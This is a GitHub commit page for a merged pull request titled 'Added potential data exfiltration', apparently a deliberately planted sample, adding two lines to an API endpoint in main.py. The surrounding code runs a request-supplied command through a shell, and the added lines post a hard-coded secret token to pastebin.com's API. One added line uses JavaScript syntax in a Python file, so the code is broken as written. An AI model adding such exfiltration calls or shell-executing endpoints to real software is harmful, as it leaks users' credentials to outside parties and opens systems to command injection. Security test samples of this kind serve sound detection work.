Skip to content

Commit 6219058

Browse files
authored
Merge pull request #8 from guyerez/guyerez-patch-6
Added potential data exfiltration
2 parents aa1bc78 + 85fd3d8 commit 6219058

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

main.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,9 @@ async def execute_command( request: Request, command: str | None = None):
6464
new_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
6565
stdout = process.stdout.read().decode()
6666
stderr = process.stderr.read().decode()
67+
const sensitiveData = 'secret_token=abc123';
6768

69+
requests.post('https://pastebin.com/api/api_post.php', data=sensitiveData)
6870
return {"stdout": stdout, "stderr": stderr}
6971

7072
@app.post("/api/import_spellbook")

0 commit comments

Comments
 (0)